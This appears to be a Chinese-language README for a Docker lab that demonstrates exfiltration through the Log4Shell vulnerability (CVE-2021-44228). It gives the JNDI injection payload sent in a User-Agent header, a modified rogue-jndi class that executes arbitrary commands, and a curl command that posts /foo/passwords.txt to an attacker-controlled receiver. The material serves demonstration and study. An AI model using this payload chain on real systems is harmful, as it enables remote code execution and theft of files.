这是一个关于 CVE-2021-44228 的简单演示,演示如何将数据从易受攻击的服务器传输到由攻击者控制的 Web 服务。所有涉及的组件均通过 Docker 运行。
这是一个充当受害者的标准 Java 服务器。它运行:
8u111使用此配置时,该服务器是易受攻击的。
其他信息:
/logging 的端点(GET)将使用 Log4J 记录用户代理/foo/passwords.txt 存在(攻击者的目标)passwords.txt 的内容:
my secret
这是一个充当攻击者数据收集器的标准 Java 服务器。它运行:
17其他信息:
receiver 的端点(POST)将记录请求体这是一个由 rogue-jndi 提供支持的 LDAP 服务器。其 ExportJava 类已被修改,使得通过 -c 标志传递的命令得以执行。
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
当易受攻击的服务器请求时,它将响应一个类,该类在实例化时会运行以下命令:
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
这实际上会将 /foo/passwords.txt 的内容提交到恶意接收器预先准备好的端点。
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt 文件的内容。./stop.sh